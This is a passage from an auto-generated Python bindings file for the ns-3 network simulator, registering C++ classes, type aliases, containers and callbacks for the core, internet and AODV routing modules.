parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::NetDevice>', 'ns3::Ptr<const ns3::Packet>', 'unsigned short', 'const ns3::Address &', 'const ns3::Address &', 'ns3::NetDevice::PacketType', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::NetDevice>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::NetDevice>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Socket>', 'const ns3::Address &', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Socket>', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## callback.h (module 'core'): ns3::CallbackImpl<void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> [class] module.add_class('CallbackImpl', import_from_module='ns.core', parent=root_module['ns3::CallbackImplBase'], template_parameters=['void', 'ns3::Ptr<ns3::Socket>', 'unsigned int', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty', 'ns3::empty']) ## ipv4-list-routing.h (module 'internet'): ns3::Ipv4ListRouting [class] module.add_class('Ipv4ListRouting', import_from_module='ns.internet', parent=root_module['ns3::Ipv4RoutingProtocol']) module.add_container('std::map< std::string, ns3::LogComponent * >', ('std::string', 'ns3::LogComponent *'), container_type='map') module.add_container('std::vector< ns3::Ipv6Address >', 'ns3::Ipv6Address', container_type='vector') module.add_container('std::list< std::pair< ns3::Ptr< ns3::Packet >, ns3::Ipv4Header > >', 'std::pair< ns3::Ptr< ns3::Packet >, ns3::Ipv4Header >', container_type='list') module.add_container('std::list< ns3::ArpCache::Entry * >', 'ns3::ArpCache::Entry *', container_type='list') module.add_container('std::map< unsigned int, unsigned int >', ('unsigned int', 'unsigned int'), container_type='map') typehandlers.add_type_alias('void ( * ) ( std::ostream & )', 'ns3::TimePrinter') typehandlers.add_type_alias('void ( * ) ( std::ostream & )*', 'ns3::TimePrinter*') typehandlers.add_type_alias('void ( * ) ( std::ostream & )&', 'ns3::TimePrinter&') typehandlers.add_type_alias('void ( * ) ( std::ostream & )', 'ns3::NodePrinter') typehandlers.add_type_alias('void ( * ) ( std::ostream & )*', 'ns3::NodePrinter*') typehandlers.add_type_alias('void ( * ) ( std::ostream & )&', 'ns3::NodePrinter&') ## Register a nested module for the namespace FatalImpl nested_module = module.add_cpp_namespace('FatalImpl') register_types_ns3_FatalImpl(nested_module) ## Register a nested module for the namespace Hash nested_module = module.add_cpp_namespace('Hash') register_types_ns3_Hash(nested_module) ## Register a nested module for the namespace TracedValueCallback nested_module = module.add_cpp_namespace('TracedValueCallback') register_types_ns3_TracedValueCallback(nested_module) ## Register a nested module for the namespace aodv nested_module = module.add_cpp_namespace('aodv') register_types_ns3_aodv(nested_module) def register_types_ns3_FatalImpl(module): root_module = module.get_root() def register_types_ns3_Hash(module): root_module = module.get_root() ## hash-function.h (module 'core'): ns3::Hash::Implementation [class] module.add_class('Implementation', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) typehandlers.add_type_alias('uint32_t ( * ) ( char const *, std::size_t const )', 'ns3::Hash::Hash32Function_ptr') typehandlers.add_type_alias('uint32_t ( * ) ( char const *, std::size_t const )*', 'ns3::Hash::Hash32Function_ptr*') typehandlers.add_type_alias('uint32_t ( * ) ( char const *, std::size_t const )&', 'ns3::Hash::Hash32Function_ptr&') typehandlers.add_type_alias('uint64_t ( * ) ( char const *, std::size_t const )', 'ns3::Hash::Hash64Function_ptr') typehandlers.add_type_alias('uint64_t ( * ) ( char const *, std::size_t const )*', 'ns3::Hash::Hash64Function_ptr*') typehandlers.add_type_alias('uint64_t ( * ) ( char const *, std::size_t const )&', 'ns3::Hash::Hash64Function_ptr&') ## Register a nested module for the namespace Function nested_module = module.add_cpp_namespace('Function') register_types_ns3_Hash_Function(nested_module) def register_types_ns3_Hash_Function(module): root_module = module.get_root() ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a [class] module.add_class('Fnv1a', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32 [class] module.add_class('Hash32', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64 [class] module.add_class('Hash64', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3 [class] module.add_class('Murmur3', import_from_module='ns.core', parent=root_module['ns3::Hash::Implementation']) def register_types_ns3_TracedValueCallback(module): root_module = module.get_root() typehandlers.add_type_alias('void ( * ) ( ns3::Time, ns3::Time )', 'ns3::TracedValueCallback::Time') typehandlers.add_type_alias('void ( * ) ( ns3::Time, ns3::Time )*', 'ns3::TracedValueCallback::Time*') typehandlers.add_type_alias('void ( * ) ( ns3::Time, ns3::Time )&', 'ns3::TracedValueCallback::Time&') def register_types_ns3_aodv(module): root_module = module.get_root() ## aodv-rtable.h (module 'aodv'): ns3::aodv::RouteFlags [enumeration] module.add_enum('RouteFlags', ['VALID', 'INVALID', 'IN_SEARCH']) ## aodv-packet.h (module 'aodv'): ns3::aodv::MessageType [enumeration] module.add_enum('MessageType', ['AODVTYPE_RREQ', 'AODVTYPE_RREP', 'AODVTYPE_RERR', 'AODVTYPE_RREP_ACK']) ## aodv-dpd.h (module 'aodv'): ns3::aodv::DuplicatePacketDetection [class] module.add_class('DuplicatePacketDetection') ## aodv-id-cache.h (module 'aodv'): ns3::aodv::IdCache [class] module.add_class('IdCache') ## aodv-neighbor.h (module 'aodv'): ns3::aodv::Neighbors [class] module.add_class('Neighbors') ## aodv-neighbor.h (module 'aodv'): ns3::aodv::Neighbors::Neighbor [struct] module.add_class('Neighbor', outer_class=root_module['ns3::aodv::Neighbors']) ## aodv-rqueue.h (module 'aodv'): ns3::aodv::QueueEntry [class] module.add_class('QueueEntry') typehandlers.add_type_alias('ns3::Ipv4RoutingProtocol::UnicastForwardCallback', 'ns3::aodv::QueueEntry::UnicastForwardCallback') typehandlers.add_type_alias('ns3::Ipv4RoutingProtocol::UnicastForwardCallback*', 'ns3::aodv::QueueEntry::UnicastForwardCallback*') typehandlers.add_type_alias('ns3::Ipv4RoutingProtocol::UnicastForwardCallback&', 'ns3::aodv::QueueEntry::UnicastForwardCallback&') typehandlers.add_type_alias('ns3::Ipv4RoutingProtocol::ErrorCallback', 'ns3::aodv::QueueEntry::ErrorCallback') typehandlers.add_type_alias('ns3::Ipv4RoutingProtocol::ErrorCallback*', 'ns3::aodv::QueueEntry::ErrorCallback*') typehandlers.add_type_alias('ns3::Ipv4RoutingProtocol::ErrorCallback&', 'ns3::aodv::QueueEntry::ErrorCallback&') ## aodv-rqueue.h (module 'aodv'): ns3::aodv::RequestQueue [class] module.add_class('RequestQueue') ## aodv-packet.h (module 'aodv'): ns3::aodv::RerrHeader [class] module.add_class('RerrHeader', parent=root_module['ns3::Header']) ## aodv-routing-protocol.h (module 'aodv'): ns3::aodv::RoutingProtocol [class] module.add_class('RoutingProtocol', parent=root_module['ns3::Ipv4RoutingProtocol']) ## aodv-rtable.h (module 'aodv'): ns3::aodv::RoutingTable [class] module.add_class('RoutingTable') ## aodv-rtable.h (module 'aodv'): ns3::aodv::RoutingTableEntry [class] module.add_class('RoutingTableEntry') ## aodv-packet.h (module 'aodv'): ns3::aodv::RrepAckHeader [class] module.add_class('RrepAckHeader', parent=root_module['ns3::Header']) ## aodv-packet.h (module 'aodv'): ns3::aodv::RrepHeader [class] module.add_class('RrepHeader', parent=root_module['ns3::Header']) ## aodv-packet.h (module 'aodv'): ns3::aodv::RreqHeader [class] module.add_class('RreqHeader', parent=root_module['ns3::Header']) ## aodv-packet.h (module 'aodv'): ns3::aodv::TypeHeader [class] module.add_class('TypeHeader', parent=root_module['ns3::Header']) module.add_container('std::map< ns3::Ipv4Address, unsigned int >', ('ns3::Ipv4Address', 'unsigned int'), container_type='map') module.add_container('std::vector< ns3::Ipv4Address >', 'ns3::Ipv4Address', container_type='vector') def register_methods(root_module): register_Ns3Address_methods(root_module, root_module['ns3::Address']) register_Ns3AttributeConstructionList_methods(root_module, root_module['ns3::AttributeConstructionList']) register_Ns3AttributeConstructionListItem_methods(root_module, root_module['ns3::AttributeConstructionList::Item']) register_Ns3Buffer_methods(root_module, root_module['ns3::Buffer']) register_Ns3BufferIterator_methods(root_module, root_module['ns3::Buffer::Iterator']) register_Ns3ByteTagIterator_methods(root_module, root_module['ns3::ByteTagIterator']) register_Ns3ByteTagIteratorItem_methods(root_module, root_module['ns3::ByteTagIterator::Item']) register_Ns3ByteTagList_methods(root_module, root_module['ns3::ByteTagList']) register_Ns3ByteTagListIterator_methods(root_module, root_module['ns3::ByteTagList::Iterator']) register_Ns3ByteTagListIteratorItem_methods(root_module, root_module['ns3::ByteTagList::Iterator::Item']) register_Ns3CallbackBase_methods(root_module, root_module['ns3::CallbackBase']) register_Ns3DefaultDeleter__Ns3AttributeAccessor_methods(root_module, root_module['ns3::DefaultDeleter< ns3::AttributeAccessor >']) register_Ns3DefaultDeleter__Ns3AttributeChecker_methods(root_module, root_module['ns3::DefaultDeleter< ns3::AttributeChecker >']) register_Ns3DefaultDeleter__Ns3AttributeValue_methods(root_module, root_module['ns3::DefaultDeleter< ns3::AttributeValue >']) register_Ns3DefaultDeleter__Ns3CallbackImplBase_methods(root_module, root_module['ns3::DefaultDeleter< ns3::CallbackImplBase >']) register_Ns3DefaultDeleter__Ns3EventImpl_methods(root_module, root_module['ns3::DefaultDeleter< ns3::EventImpl >']) register_Ns3DefaultDeleter__Ns3HashImplementation_methods(root_module, root_module['ns3::DefaultDeleter< ns3::Hash::Implementation >']) register_Ns3DefaultDeleter__Ns3Ipv4Route_methods(root_module, root_module['ns3::DefaultDeleter< ns3::Ipv4Route >']) register_Ns3DefaultDeleter__Ns3NixVector_methods(root_module, root_module['ns3::DefaultDeleter< ns3::NixVector >']) register_Ns3DefaultDeleter__Ns3Packet_methods(root_module, root_module['ns3::DefaultDeleter< ns3::Packet >']) register_Ns3DefaultDeleter__Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::DefaultDeleter< ns3::TraceSourceAccessor >']) register_Ns3EventId_methods(root_module, root_module['ns3::EventId']) register_Ns3Hasher_methods(root_module, root_module['ns3::Hasher']) register_Ns3Inet6SocketAddress_methods(root_module, root_module['ns3::Inet6SocketAddress']) register_Ns3InetSocketAddress_methods(root_module, root_module['ns3::InetSocketAddress']) register_Ns3IntToType__0_methods(root_module, root_module['ns3::IntToType< 0 >']) register_Ns3IntToType__1_methods(root_module, root_module['ns3::IntToType< 1 >']) register_Ns3IntToType__2_methods(root_module, root_module['ns3::IntToType< 2 >']) register_Ns3IntToType__3_methods(root_module, root_module['ns3::IntToType< 3 >']) register_Ns3IntToType__4_methods(root_module, root_module['ns3::IntToType< 4 >']) register_Ns3IntToType__5_methods(root_module, root_module['ns3::IntToType< 5 >']) register_Ns3IntToType__6_methods(root_module, root_module['ns3::IntToType< 6 >']) register_Ns3Ipv4Address_methods(root_module, root_module['ns3::Ipv4Address']) register_Ns3Ipv4AddressHash_methods(root_module, root_module['ns3::Ipv4AddressHash']) register_Ns3Ipv4InterfaceAddress_methods(root_module, root_module['ns3::Ipv4InterfaceAddress']) register_Ns3Ipv4Mask_methods(root_module, root_module['ns3::Ipv4Mask']) register_Ns3Ipv4RoutingHelper_methods(root_module, root_module['ns3::Ipv4RoutingHelper']) register_Ns3Ipv6Address_methods(root_module, root_module['ns3::Ipv6Address']) register_Ns3Ipv6AddressHash_methods(root_module, root_module['ns3::Ipv6AddressHash']) register_Ns3Ipv6Prefix_methods(root_module, root_module['ns3::Ipv6Prefix']) register_Ns3LogComponent_methods(root_module, root_module['ns3::LogComponent']) register_Ns3Mac48Address_methods(root_module, root_module['ns3::Mac48Address']) register_Ns3Mac8Address_methods(root_module, root_module['ns3::Mac8Address']) register_Ns3NodeContainer_methods(root_module, root_module['ns3::NodeContainer']) register_Ns3ObjectBase_methods(root_module, root_module['ns3::ObjectBase']) register_Ns3ObjectDeleter_methods(root_module, root_module['ns3::ObjectDeleter']) register_Ns3ObjectFactory_methods(root_module, root_module['ns3::ObjectFactory']) register_Ns3PacketMetadata_methods(root_module, root_module['ns3::PacketMetadata']) register_Ns3PacketMetadataItem_methods(root_module, root_module['ns3::PacketMetadata::Item']) register_Ns3PacketMetadataItemIterator_methods(root_module, root_module['ns3::PacketMetadata::ItemIterator']) register_Ns3PacketTagIterator_methods(root_module, root_module['ns3::PacketTagIterator']) register_Ns3PacketTagIteratorItem_methods(root_module, root_module['ns3::PacketTagIterator::Item']) register_Ns3PacketTagList_methods(root_module, root_module['ns3::PacketTagList']) register_Ns3PacketTagListTagData_methods(root_module, root_module['ns3::PacketTagList::TagData']) register_Ns3ParameterLogger_methods(root_module, root_module['ns3::ParameterLogger']) register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) register_Ns3Simulator_methods(root_module, root_module['ns3::Simulator']) register_Ns3Tag_methods(root_module, root_module['ns3::Tag']) register_Ns3TagBuffer_methods(root_module, root_module['ns3::TagBuffer']) register_Ns3Time_methods(root_module, root_module['ns3::Time']) register_Ns3TimeWithUnit_methods(root_module, root_module['ns3::TimeWithUnit']) register_Ns3Timer_methods(root_module, root_module['ns3::Timer']) register_Ns3TimerImpl_methods(root_module, root_module['ns3::TimerImpl']) register_Ns3TypeId_methods(root_module, root_module['ns3::TypeId']) register_Ns3TypeIdAttributeInformation_methods(root_module, root_module['ns3::TypeId::AttributeInformation']) register_Ns3TypeIdTraceSourceInformation_methods(root_module, root_module['ns3::TypeId::TraceSourceInformation']) register_Ns3Empty_methods(root_module, root_module['ns3::empty']) register_Ns3Int64x64_t_methods(root_module, root_module['ns3::int64x64_t']) register_Ns3AodvHelper_methods(root_module, root_module['ns3::AodvHelper']) register_Ns3Chunk_methods(root_module, root_module['ns3::Chunk']) register_Ns3Header_methods(root_module, root_module['ns3::Header']) register_Ns3Ipv4Header_methods(root_module, root_module['ns3::Ipv4Header']) register_Ns3Object_methods(root_module, root_module['ns3::Object']) register_Ns3ObjectAggregateIterator_methods(root_module, root_module['ns3::Object::AggregateIterator']) register_Ns3RandomVariableStream_methods(root_module, root_module['ns3::RandomVariableStream']) register_Ns3SequentialRandomVariable_methods(root_module, root_module['ns3::SequentialRandomVariable']) register_Ns3SimpleRefCount__Ns3AttributeAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) register_Ns3SimpleRefCount__Ns3AttributeChecker_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeChecker__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) register_Ns3SimpleRefCount__Ns3AttributeValue_Ns3Empty_Ns3DefaultDeleter__lt__ns3AttributeValue__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) register_Ns3SimpleRefCount__Ns3CallbackImplBase_Ns3Empty_Ns3DefaultDeleter__lt__ns3CallbackImplBase__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) register_Ns3SimpleRefCount__Ns3EventImpl_Ns3Empty_Ns3DefaultDeleter__lt__ns3EventImpl__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) register_Ns3SimpleRefCount__Ns3HashImplementation_Ns3Empty_Ns3DefaultDeleter__lt__ns3HashImplementation__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> >']) register_Ns3SimpleRefCount__Ns3Ipv4MulticastRoute_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4MulticastRoute__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >']) register_Ns3SimpleRefCount__Ns3Ipv4Route_Ns3Empty_Ns3DefaultDeleter__lt__ns3Ipv4Route__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >']) register_Ns3SimpleRefCount__Ns3NixVector_Ns3Empty_Ns3DefaultDeleter__lt__ns3NixVector__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) register_Ns3SimpleRefCount__Ns3OutputStreamWrapper_Ns3Empty_Ns3DefaultDeleter__lt__ns3OutputStreamWrapper__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) register_Ns3SimpleRefCount__Ns3Packet_Ns3Empty_Ns3DefaultDeleter__lt__ns3Packet__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> >']) register_Ns3SimpleRefCount__Ns3TraceSourceAccessor_Ns3Empty_Ns3DefaultDeleter__lt__ns3TraceSourceAccessor__gt___methods(root_module, root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) register_Ns3Socket_methods(root_module, root_module['ns3::Socket']) register_Ns3SocketIpTosTag_methods(root_module, root_module['ns3::SocketIpTosTag']) register_Ns3SocketIpTtlTag_methods(root_module, root_module['ns3::SocketIpTtlTag']) register_Ns3SocketIpv6HopLimitTag_methods(root_module, root_module['ns3::SocketIpv6HopLimitTag']) register_Ns3SocketIpv6TclassTag_methods(root_module, root_module['ns3::SocketIpv6TclassTag']) register_Ns3SocketPriorityTag_methods(root_module, root_module['ns3::SocketPriorityTag']) register_Ns3SocketSetDontFragmentTag_methods(root_module, root_module['ns3::SocketSetDontFragmentTag']) register_Ns3TraceSourceAccessor_methods(root_module, root_module['ns3::TraceSourceAccessor']) register_Ns3Trailer_methods(root_module, root_module['ns3::Trailer']) register_Ns3TriangularRandomVariable_methods(root_module, root_module['ns3::TriangularRandomVariable']) register_Ns3UniformRandomVariable_methods(root_module, root_module['ns3::UniformRandomVariable']) register_Ns3WeibullRandomVariable_methods(root_module, root_module['ns3::WeibullRandomVariable']) register_Ns3ZetaRandomVariable_methods(root_module, root_module['ns3::ZetaRandomVariable']) register_Ns3ZipfRandomVariable_methods(root_module, root_module['ns3::ZipfRandomVariable']) register_Ns3ArpCache_methods(root_module, root_module['ns3::ArpCache']) register_Ns3ArpCacheEntry_methods(root_module, root_module['ns3::ArpCache::Entry']) register_Ns3AttributeAccessor_methods(root_module, root_module['ns3::AttributeAccessor']) register_Ns3AttributeChecker_methods(root_module, root_module['ns3::AttributeChecker']) register_Ns3AttributeValue_methods(root_module, root_module['ns3::AttributeValue']) register_Ns3CallbackChecker_methods(root_module, root_module['ns3::CallbackChecker']) register_Ns3CallbackImplBase_methods(root_module, root_module['ns3::CallbackImplBase']) register_Ns3CallbackValue_methods(root_module, root_module['ns3::CallbackValue']) register_Ns3ConstantRandomVariable_methods(root_module, root_module['ns3::ConstantRandomVariable']) register_Ns3DeterministicRandomVariable_methods(root_module, root_module['ns3::DeterministicRandomVariable']) register_Ns3EmpiricalRandomVariable_methods(root_module, root_module['ns3::EmpiricalRandomVariable']) register_Ns3EmptyAttributeAccessor_methods(root_module, root_module['ns3::EmptyAttributeAccessor']) register_Ns3EmptyAttributeChecker_methods(root_module, root_module['ns3::EmptyAttributeChecker']) register_Ns3EmptyAttributeValue_methods(root_module, root_module['ns3::EmptyAttributeValue']) register_Ns3EnumChecker_methods(root_module, root_module['ns3::EnumChecker']) register_Ns3EnumValue_methods(root_module, root_module['ns3::EnumValue']) register_Ns3ErlangRandomVariable_methods(root_module, root_module['ns3::ErlangRandomVariable']) register_Ns3EventImpl_methods(root_module, root_module['ns3::EventImpl']) register_Ns3ExponentialRandomVariable_methods(root_module, root_module['ns3::ExponentialRandomVariable']) register_Ns3GammaRandomVariable_methods(root_module, root_module['ns3::GammaRandomVariable']) register_Ns3Ipv4_methods(root_module, root_module['ns3::Ipv4']) register_Ns3Ipv4AddressChecker_methods(root_module, root_module['ns3::Ipv4AddressChecker']) register_Ns3Ipv4AddressValue_methods(root_module, root_module['ns3::Ipv4AddressValue']) register_Ns3Ipv4Interface_methods(root_module, root_module['ns3::Ipv4Interface']) register_Ns3Ipv4L3Protocol_methods(root_module, root_module['ns3::Ipv4L3Protocol']) register_Ns3Ipv4MaskChecker_methods(root_module, root_module['ns3::Ipv4MaskChecker']) register_Ns3Ipv4MaskValue_methods(root_module, root_module['ns3::Ipv4MaskValue']) register_Ns3Ipv4MulticastRoute_methods(root_module, root_module['ns3::Ipv4MulticastRoute']) register_Ns3Ipv4Route_methods(root_module, root_module['ns3::Ipv4Route']) register_Ns3Ipv4RoutingProtocol_methods(root_module, root_module['ns3::Ipv4RoutingProtocol']) register_Ns3Ipv6AddressChecker_methods(root_module, root_module['ns3::Ipv6AddressChecker']) register_Ns3Ipv6AddressValue_methods(root_module, root_module['ns3::Ipv6AddressValue']) register_Ns3Ipv6PrefixChecker_methods(root_module, root_module['ns3::Ipv6PrefixChecker']) register_Ns3Ipv6PrefixValue_methods(root_module, root_module['ns3::Ipv6PrefixValue']) register_Ns3LogNormalRandomVariable_methods(root_module, root_module['ns3::LogNormalRandomVariable']) register_Ns3Mac48AddressChecker_methods(root_module, root_module['ns3::Mac48AddressChecker']) register_Ns3Mac48AddressValue_methods(root_module, root_module['ns3::Mac48AddressValue']) register_Ns3NetDevice_methods(root_module, root_module['ns3::NetDevice']) register_Ns3NixVector_methods(root_module, root_module['ns3::NixVector']) register_Ns3Node_methods(root_module, root_module['ns3::Node']) register_Ns3NormalRandomVariable_methods(root_module, root_module['ns3::NormalRandomVariable']) register_Ns3ObjectFactoryChecker_methods(root_module, root_module['ns3::ObjectFactoryChecker']) register_Ns3ObjectFactoryValue_methods(root_module, root_module['ns3::ObjectFactoryValue']) register_Ns3OutputStreamWrapper_methods(root_module, root_module['ns3::OutputStreamWrapper']) register_Ns3Packet_methods(root_module, root_module['ns3::Packet']) register_Ns3ParetoRandomVariable_methods(root_module, root_module['ns3::ParetoRandomVariable']) register_Ns3TimeValue_methods(root_module, root_module['ns3::TimeValue']) register_Ns3TypeIdChecker_methods(root_module, root_module['ns3::TypeIdChecker']) register_Ns3TypeIdValue_methods(root_module, root_module['ns3::TypeIdValue']) register_Ns3AddressChecker_methods(root_module, root_module['ns3::AddressChecker']) register_Ns3AddressValue_methods(root_module, root_module['ns3::AddressValue']) register_Ns3CallbackImpl__Bool_Ns3Ptr__lt__ns3Socket__gt___Const_ns3Address___amp___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< bool, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Ns3ObjectBase___star___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Const_ns3Ipv4Header___amp___Ns3Ptr__lt__const_ns3Packet__gt___Ns3Ipv4L3ProtocolDropReason_Ns3Ptr__lt__ns3Ipv4__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, ns3::Ipv4L3Protocol::DropReason, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Const_ns3Ipv4Header___amp___Ns3Ptr__lt__const_ns3Packet__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, const ns3::Ipv4Header &, ns3::Ptr<const ns3::Packet>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Const_ns3WifiMacHeader___amp___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, const ns3::WifiMacHeader &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ipv4Address_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ipv4Address, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__const_ns3Packet__gt___Const_ns3Ipv4Header___amp___Ns3SocketSocketErrno_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<const ns3::Packet>, const ns3::Ipv4Header &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__const_ns3Packet__gt___Ns3Ptr__lt__ns3Ipv4__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<const ns3::Packet>, ns3::Ptr<ns3::Ipv4>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__const_ns3Packet__gt___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<const ns3::Packet>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Ipv4Route__gt___Ns3Ptr__lt__const_ns3Packet__gt___Const_ns3Ipv4Header___amp___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Ipv4Route>, ns3::Ptr<const ns3::Packet>, const ns3::Ipv4Header &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3NetDevice__gt___Ns3Ptr__lt__const_ns3Packet__gt___Unsigned_short_Const_ns3Address___amp___Const_ns3Address___amp___Ns3NetDevicePacketType_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<const ns3::Packet>, unsigned short, const ns3::Address &, const ns3::Address &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3NetDevice__gt___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::NetDevice>, 